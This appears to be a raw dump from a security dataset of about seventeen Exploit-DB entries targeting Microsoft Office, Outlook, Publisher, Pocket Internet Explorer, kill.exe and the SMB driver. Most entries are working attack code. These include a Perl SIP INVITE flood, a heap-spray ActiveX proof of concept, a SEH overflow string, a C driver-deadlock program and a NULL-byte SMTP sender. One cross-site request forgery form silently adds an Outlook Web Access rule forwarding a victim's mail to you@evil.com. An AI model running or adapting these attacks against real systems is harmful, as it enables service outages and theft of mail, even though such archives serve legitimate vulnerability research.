deardaniel/secdata-raw huggingface dataset:
Exploit-DB #12079
Description: Microsoft Office 2010 Beta - Communicator SIP Denial of Service
Type: dos
Platform: windows
Date: 2010-04-06
Author: indoushka

Exploit:
========================================================================================                  
| # Title    : Microsoft Office ( 2010 beta ) Communicator SIP denial of service Exploit       
| # Author   : indoushka                                                               
| # email    : indoushka@hotmail.com                                                   
| # Home     : www.iqs3cur1ty.com/vb                                                                                                                                                                                         
| # Tested on: windows SP2        
| # Bug      : Denial of service Exploit                                                                      
======================      Exploit By indoushka       =================================
 # Exploit  : 
 
#!usr/bin/perl  
####################################################################################################################### 
#    Microsoft Office 2010 Communicator allows remote attack to cause a denial of service (memory consumption) via    #
#    a large number of SIP INVITE requests.                                                                           # 
####################################################################################################################### 
  
  
use IO::Socket; 
  
print("\nEnter IP Address of Target Server: \n"); 
$vuln_host_ip = <STDIN>; 
print("\nEnter IP Address of Target Server: \n"); 
$port = <STDIN>; 
  
$sock_sip = IO::Socket::INET->new(    PeerAddr => $vuln_host_ip, 
                                     PeerPort => $port, 
                                     Proto    => 'udp') || "Unable to create Socket"; 
#if the server is configured on TCP replace 'udp' with 'tcp'. 
  
while(1) 
{ 
print $sock_sip "INVITE sip:arpman.malicious.com SIP/2.0\r\nVia: SIP/2.0/UDP 172.16.16.4;branch=123-4567-900\r\n"; 
   
} 
  
#program never comes here for execution 

close($sock_sip);

Dz-Ghost Team ===== Saoucha * Star08 * Redda * Silitoad * XproratiX * onurozkan * n2n * ========================
Greetz : 
Exploit-db Team : 
(loneferret+Exploits+dookie2000ca)
all my friend :
His0k4 * Hussin-X * Rafik (www.Tinjah.com) * Yashar (www.sc0rpion.ir) SoldierOfAllah (www.m4r0c-s3curity.cc)
Stake (www.v4-team.com) * r1z (www.sec-r1z.com) * D4NB4R (http://www.ilegalintrusion.net/foro/)
Cyb3r IntRue (avengers team) * The globin * Virus_Hima
---------------------------------------------------------------------------------------------------------------
Exploit-DB #29172
Description: Microsoft Office 97 - HTMLMARQ.OCX Library Denial of Service
Type: dos
Platform: windows
Date: 2006-11-22
Author: Michal Bucko

Exploit:
source: https://www.securityfocus.com/bid/21262/info

The Microsoft Office HTMLMARQ.OCX library is prone to a denial-of-service issue. 

An attacker can exploit this issue to crash the affected application, denying service to legitimate users. Remote code execution may also be possible, but this has not been confirmed.

This issue affects Microsoft Office 97 for Windows; other versions may also be affected.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/29172.asx
Exploit-DB #2946
Description: Microsoft Office Outlook Recipient Control - 'ole32.dll' Denial of Service
Type: dos
Platform: windows
Date: 2006-12-18
Author: shinnai

Exploit:
<!--
------------------------------------------------------------------------
Microsoft Office Outlook Recipient Control (ole32.dll) Denial of Service
author: shinnai
site: http://shinnai.altervista.org
mail: shinnai[at]autistici[dot]org
and, always, special thanks to rgod

Tested on Windows Xp Professional SP2 all patched

works with Internet Explorer 6 & 7
------------------------------------------------------------------------
-->

<html>
 <head>
 <title></title>
 </head>
 <object classid="clsid:0006F023-0000-0000-C[PII_REDACTED]00046" id="oLook" width="180" height="14"></object>
</html>

<!--
Just enable the control by clicking on it, then try to close IE.
-->

# milw0rm.com [2006-12-18]
Exploit-DB #9163
Description: Microsoft Office Web Components (OWC) Spreadsheet - ActiveX Buffer Overflow (PoC)
Type: dos
Platform: windows
Date: 2009-07-16
Author: anonymous

Exploit:
<!-- http://en.securitylab.ru/poc/extra/382458.php -->
<html>
<body>
<script language="JavaScript">
var shellcode = unescape("evil code");
var array = new Array();
var ls = 0x81000-(shellcode.length*2);
var bigblock = unescape("%u0b0c%u0b0C");
while(bigblock.length<ls/2)
{bigblock+=bigblock;}
var lh = bigblock.substring(0,ls/2);
delete bigblock;
for(i=0;i<0x99*2;i++) {
array[i] = lh + lh + shellcode;
}
CollectGarbage();
var obj = new ActiveXObject("OWC10.Spreadsheet");
e=new Array();
e.push(1);
e.push(2);
e.push(0);
e.push(window);
for(i=0;i<e.length;i++){
for(j=0;j<10;j++){
try{
obj.Evaluate(e[i]);
}
catch(e)
{}
}
}
window.status=e[3] +'';
for(j=0;j<10;j++){
try{
obj.msDataSourceObject(e[3]);
}
catch(e)
{}
}
</script>
</body>
</html> 

# milw0rm.com [2009-07-16]
Exploit-DB #17399
Description: Microsoft Office XP - Remote code Execution
Type: dos
Platform: windows
Date: 2011-06-14
Author: Francis Provencher

Exploit:
#####################################################################################

Application:   Microsoft Office XP Remote code Execution

Platforms:   Windows Vista

Exploitation:   Remote code execution

CVE Number:  

Microsoft Bulletin:

{PRL}:   2011-07

Author:   Francis Provencher (Protek Research Lab's)

WebSite:   http://www.protekresearchlab.com/

Twitter:   @ProtekResearch


#####################################################################################

1) Introduction
2) Report Timeline
3) Technical details
4) POC

#####################################################################################

===============
1) Introduction
===============

Microsoft Office is a proprietary commercial office suite of inter-related desktop

applications, servers and services for the Microsoft Windows and Mac OS X operating

systems, introduced by Microsoft in 1989. Initially a marketing term for a bundled

set of applications, the first version of Office contained Microsoft Word,

Microsoft Excel, and Microsoft PowerPoint. Over the years, Office applications have

grown substantially closer with shared features such as a common spell checker,

OLE data integration and Microsoft Visual Basic for Applications scripting language.

http://en.wikipedia.org/wiki/Microsoft_Office

#####################################################################################

============================
2) Report Timeline
============================

2011-01-03 - Vulnerability reported to vendor
2011-06-14 - Uncoordinated public release of advisory


#####################################################################################

====================
3) Technical details
====================

This vulnerability allows remote attackers to execute arbitrary code on vulnerable

installations of Microsoft Office Word. User interaction is required to exploit this

vulnerability in that the target must visit a malicious page or open a malicious file.

0:000> g
(c18.bf4): Access violation - code c0000005 (!!! second chance !!!)
eax=41424344 ebx=00000011 ecx=00000010 edx=00000001 esi=00000000 edi=41424344
eip=308eb16d esp=00125450 ebp=00125474 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010246
winword!wdGetApplicationObject+0x150fac:
308eb16d 8b07            mov     eax,dword ptr [edi]  ds:0023:41424344=????????


#####################################################################################

===========
4) POC
===========

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/17399.doc (PRL-2011-07.doc)
http://www.protekresearchlab.com/exploits/PRL-2011-07.doc
Exploit-DB #25085
Description: Microsoft Office XP 2000/2002 - HTML Link Processing Remote Buffer Overflow
Type: dos
Platform: windows
Date: 2005-02-08
Author: Rafel Ivgi

Exploit:
source: https://www.securityfocus.com/bid/12480/info

A remote buffer overflow vulnerability affects Microsoft Office XP. The problem presents itself when an unsuspecting user follows a malicious HTML link that points to a Office document. A boundary condition error is exposed during this operation that may allow attacker-specified data to corrupt process memory.

An attacker may leverage this issue to execute arbitrary code with the privileges of an unsuspecting user that follows a malicious embedded link.

<Script>
var mylongstring,myjunk;
mylongstring ="";
myjunk="bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb
bbbbbbbbbbbbbbbbbbb";
for(c=1;c<5000;c++)
{
mylongstring = mylongstring + myjunk;
}
window.open("http://www.hhs.gov/ocr/privacysummary.rtf%0a"+mylongstring);
</script>
Exploit-DB #29295
Description: Microsoft Outlook - ActiveX Control Remote Internet Explorer Denial of Service
Type: dos
Platform: windows
Date: 2006-12-18
Author: shinnai

Exploit:
source: https://www.securityfocus.com/bid/21649/info

The Microsoft Office Outlook Recipient Control is prone to a denial-of-service vulnerability.

An attacker can exploit this issue to trigger denial-of-service conditions in Internet Explorer or other applications that use the ActiveX control.

Specific information regarding affected packages is currently unavailable. This BID will be updated as more information becomes available.

<!--
------------------------------------------------------------------------
Microsoft Office Outlook Recipient Control (ole32.dll) Denial of Service
author: shinnai
site: http://shinnai.altervista.org
mail: shinnai[at]autistici[dot]org
and, always, special thanks to rgod

Tested on Windows Xp Professional SP2 all patched

works with Internet Explorer 6 & 7
------------------------------------------------------------------------
-->

<html>
 <head>
 <title></title>
 </head>
 <object classid="clsid:0006F023-0000-0000-C[PII_REDACTED]00046" id="oLook" width="180" height="14"></object>
</html>

<!--
Just enable the control by clicking on it, then try to close IE.
-->
Exploit-DB #19207
Description: Microsoft Outlook Express 4.27.3110/4.72.3120 - POP Denial of Service
Type: dos
Platform: windows
Date: 1999-05-11
Author: Miquel van Smoorenburg

Exploit:
source: https://www.securityfocus.com/bid/252/info

A vulnerability in Outlook Express allows a malicious message sent to the users mailbox to halt POP mail download. The Microsoft tracking number of this issue is S2134 T6142.

A line with a single dot ('.') stands for EOM (end of message) in the POP3 mail transport protocol. If a message contains a single dot in a line is must be escaped by added an extra dot. However if at the IP level a line containing two such dots falls at a packet boundary such as the one dot is at the end of one packet and the other dot is at the end of the next packet Outlook Express will interpret the dot in the second packet as the EOM marker. This result in Outlook Express switching back to POP3 command mode and interpreting the rest of the message as a POP3 response. This normally result in an error message or the hanging of the session. The message will not be removed from the server and any further attempts will meet with the same result. 

Include a few thousand lines like this in an email and the bug will trigger:

So
.
this
.
might
.
actually
.
cause
.
the
.
Exploit-DB #21419
Description: Microsoft Outlook Express 5.5 - Denial of Service Device Denial of Service
Type: dos
Platform: windows
Date: 2002-04-24
Author: ERRor

Exploit:
source: https://www.securityfocus.com/bid/4584/info

A denial of service issue has been reported in Microsoft Outlook Express.

Reportedly, Outlook Express does not adequately handle unusually crafted HTML mail messages. Modifying the BGSOUND or IFRAME tag to contain a URL pointing to a DOS device, could cause Outlook Express to stop responding.

Under certain circumtances this issue may cause the system to consume CPU time.

Varying results have been reported when data is sent directly to a device, such as a denial of service, hardware failure, information disclosure or unauthorized device access.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/21419-1.eml

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/21419-2.eml
Exploit-DB #24002
Description: Microsoft Outlook Express 6.0 - Remote Denial of Service
Type: dos
Platform: windows
Date: 2004-04-14
Author: Ben Rampling

Exploit:
source: https://www.securityfocus.com/bid/10144/info

Microsoft Outlook and Outlook Express have been reported prone to a remote denial of service vulnerability. The issue is reported to present itself when a NULL is encountered in the message body of an e-mail.

It is reported that when the vulnerable software encounters a malicious e-mail as described above, the GUI will cease to respond.

A remote attacker may potentially exploit this condition to deny service to Microsoft Outlook and Outlook Express users.

import smtplib
from_address = "nobody@example.com"
to_address = "nobody@example.com"
message = "Before\r\n\000\r\nAfter"
smtp = smtplib.SMTP("localhost")
smtp.set_debuglevel(1)
smtp.sendmail(from_address, [to_address], message)
smtp.quit()
Exploit-DB #34359
Description: Microsoft Outlook Web Access for Exchange Server 2003 - Cross-Site Request Forgery
Type: dos
Platform: windows
Date: 2010-07-20
Author: anonymous

Exploit:
source: https://www.securityfocus.com/bid/41843/info

Microsoft Outlook Web Access for Exchange Server 2003 is prone to a cross-site request-forgery vulnerability.

Exploiting this issue may allow a remote attacker to perform certain actions in the context of an authorized user's session and gain unauthorized access to the affected application; other attacks are also possible.

<form name="xsrf" action="http://www.example.com/Exchange/victim_id" method="post" target="_self">
<input type="hidden" name="cmd" value="saverule">
<input type="hidden" name="rulename" value="evilrule">
<input type="hidden" name="ruleaction" value="3">
<input type="hidden" name="forwardtocount" value="1">
<input type="hidden" name="forwardtoname" value="guy, bad">
<input type="hidden" name="forwardtoemail" value="you@evil.com">
<input type="hidden" name="forwardtotype" value="SMTP">
<input type="hidden" name="forwardtoentryid" value="">
<input type="hidden" name="forwardtosearchkey" value="">
<input type="hidden" name="forwardtoisdl" value="">
<input type="hidden" name="keepcopy" value="1">
<body onload="document.forms.xsrf.submit();">
Exploit-DB #22119
Description: Microsoft Pocket Internet Explorer 3.0 - Denial of Service
Type: dos
Platform: windows
Date: 2003-01-03
Author: Christopher Sogge RÃ¸tnes

Exploit:
source: https://www.securityfocus.com/bid/6507/info

A denial of service vulnerability has been reported for Pocket Internet Explorer (PIE). The vulnerability is due to the way some JavaScript code is interpreted by PIE.

By enticing a victim user to browse a maliciously crafted web page an attacker can cause PIE to crash. 

<html> <head>
<script language="Javascript">
function displayPage(page){
if(page=="onload"){
main.innerHTML="<a href=\"#\" onClick=\"displayPage('crash');\">Crash
me</a>";}
if(page=="crash"){
main.innerHTML="<a href=\"#\" onClick=\"displayPage('crash');\">crash!</a>";}
}
</script> </head>
<body onLoad="displayPage('onload');"> <hr> <span id="main"></span> </body> </html>
Exploit-DB #40073
Description: Microsoft Process Kill Utility (kill.exe) 6.3.9600.17298 - Crash (PoC)
Type: dos
Platform: windows
Date: 2016-07-08
Author: hyp3rlinx

Exploit:
'''
[+] Credits: HYP3RLINX
[+] Website: hyp3rlinx.altervista.org
[+] Source: http://hyp3rlinx.altervista.org/advisories/MS-KILL-UTILITY-BUFFER-OVERFLOW.txt
[+] ISR: ApparitionSec


Vendor:
=================
www.microsoft.com


Product:
=========================================
Microsoft Process Kill Utility "kill.exe"
File version: 6.3.9600.17298

The Kill tool (kill.exe), a tool used to terminate a process, part of the
WinDbg program.


Vulnerability Type:
===================
Buffer Overflow


SEH Buffer Overflow @ about 512 bytes


Vulnerability Details:
=====================

Register dump


'SEH chain of main thread
Address    SE handler
001AF688   kernel32.756F489B
001AFBD8   52525252
42424242   *** CORRUPT ENTRY ***


001BF81C   41414141  AAAA
001BF820   41414141  AAAA
001BF824   41414141  AAAA
001BF828   41414141  AAAA
001BF82C   41414141  AAAA
001BF830   41414141  AAAA
001BF834   909006EB  ë  Pointer to next SEH record
001BF838   52525252  RRRR  SE handler  <================
001BF83C   90909090
001BF840   90909090


Exploit code(s):
================

Python POC.
'''

junk="A"*508+"RRRR"

pgm='c:\\Program Files (x86)\\Windows Kits\\8.1\\Debuggers\\x86\\kill.exe '
subprocess.Popen([pgm, junk], shell=False)


'''
Disclosure Timeline:
==================================
Vendor Notification: June 24, 2016
Vendor reply:  Will not security service
July 8, 2016  : Public Disclosure


Exploitation Technique:
=======================
Local


Severity Level:
================
Low


[+] Disclaimer
The information contained within this advisory is supplied "as-is" with no
warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory,
provided that it is not altered except by reformatting it, and
that due credit is given. Permission is explicitly given for insertion in
vulnerability databases and similar, provided that due credit
is given to the author. The author is not responsible for any misuse of the
information contained herein and accepts no responsibility
for any damage caused by the use or misuse of this information. The author
prohibits any malicious use of security related information
or exploits by the author or elsewhere.

HYP3RLINX
'''
Exploit-DB #29664
Description: Microsoft Publisher 2007 - Remote Denial of Service
Type: dos
Platform: windows
Date: 2007-02-26
Author: Tom Ferris

Exploit:
source: https://www.securityfocus.com/bid/22724/info

Microsoft Office Publisher is prone to a remote denial-of-service vulnerability because the application fails to properly handle malformed files.

Successfully exploiting this issue allows remote attackers to crash the affected application, denying service to legitimate users.

Microsoft Office Publisher 2007 is vulnerable; other versions may also be affected. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/29664.pub
Exploit-DB #22655
Description: Microsoft Publisher 2013 - Crash (PoC)
Type: dos
Platform: windows
Date: 2012-11-12
Author: coolkaveh

Exploit:
Title     :  Microsoft Publisher 2013 memory corruption
Version   :  Microsoft Office Publisher professional Plus 2013
Date      :  2012-11-11
Vendor    :  http://office.microsoft.com
Impact    :  Med/High
Contact   :  coolkaveh [at] rocketmail.com
Twitter   :  @coolkaveh
tested    :  Windows 7
###############################################################################
Bug :
----
memory corruption during the handling of the pub files a context-dependent attacker 
can execute arbitrary code.
---- 
################################################################################
(c90.abc): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 
ebx=02000147 
ecx=5eb37768 
edx=00000000 
esi=0031d66c 
edi=0031d6c0
eip=00000000 
esp=0031d99c 
ebp=0031d9b0 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00210246
00000000 ?? \
 
################################################################################
Proof of concept included.
 
http://www37.zippyshare.com/v/79789962/file.html 
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/22655.rar
Exploit-DB #28001
Description: Microsoft SMB Driver - Local Denial of Service
Type: dos
Platform: windows
Date: 2006-06-13
Author: Ruben Santamarta

Exploit:
// source: https://www.securityfocus.com/bid/18357/info

The Microsoft SMB driver is prone to a local denial-of-service vulnerability.

A local attacker can exploit this issue to create processes that cannot be killed in affected operating systems, potentially denying service to legitimate users and other software on affected computers. This may aid the attacker in further attacks.

////////////////////////////////////////////////////////////////////////////////
///////// MRXSMB.SYS NtClose DEADLOCK exploit///////////////////////////////////
////////////////////////////////////////////////////////////////////////////////
//November 19,2005
////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////
//ONLY FOR EDUCATION PURPOSES
////////////////////////////////////////////////////////////////////////////////
// Rub�n Santamarta 
// ruben (at) reversemode (dot) com
// http://www.reversemode.com
////////////////////////////////////////////////////////////////////////////////

#include <windows.h>
#include <stdio.h>


#define MAGIC_IOCTL 0x141047


VOID ShowError()
{
 LPVOID lpMsgBuf;
 FormatMessage(FORMAT_MESSAGE_ALLOCATE_BUFFER| FORMAT_MESSAGE_FROM_SYSTEM,
               NULL,
               GetLastError(),
               MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT),
               (LPTSTR) &lpMsgBuf,
               0,
               NULL);
 MessageBoxA(0,(LPTSTR)lpMsgBuf,"Error",0);
 exit(1);
}


VOID IamAlive()
{
 DWORD i;
 
 for(i=0;i<0x1000;i++)
 {
  Sleep(1000);
  printf("\rI am a Thread and I am alive [%x]",i);
 } 

}


VOID KillMySelf()
{
     
 DWORD junk;
 DWORD *OutBuff;
 DWORD *InBuff;
 BOOL bResult;
 HANDLE hDevice;
 DWORD i;
 
  hDevice = CreateFile("\\\\.\\shadow", FILE_EXECUTE,FILE_SHARE_READ|FILE_SHARE_WRITE,
                      NULL, OPEN_EXISTING, 0, NULL);
                      
  if (hDevice == INVALID_HANDLE_VALUE) ShowError();
  
  OutBuff=(DWORD*)malloc(0x18);
  if(!OutBuff) ShowError();
  
  OutBuff[3]=(DWORD)hDevice;
  
  DeviceIoControl(hDevice,
                  MAGIC_IOCTL,
                  0,0,
                  OutBuff,0x18,
                  &junk,
                  (LPOVERLAPPED)NULL);
  // MAIN THREAD ENDING.
}


int main(int argc, char *argv[])
{
    
 LPTHREAD_START_ROUTINE GoodThread;
 DWORD dwThreadId;
 DWORD bResult;
 GoodThread=(LPTHREAD_START_ROUTINE)IamAlive;
 

  printf("-=[MRXSMB.SYS NtClose Vulnerability POC]=-\n");
  printf("\t(Only for educational purposes)\n");
  printf("..http://www.reversemode.com..\n\n");
  printf("Launching Thread ...");
  
  // PUT YOUR "GOOD" OR "BAD" CODE HERE
  // e.g GoodThread
  CreateThread(NULL,0,GoodThread,0,0,&dwThreadId);  
  
   
  printf("Done\n");
  printf("I am going to dissapear,but I will be with you forever\n");
  printf("(..)\n\n");
  KillMySelf(); // Immortal mode "on" ;)
  
  return(1); 
}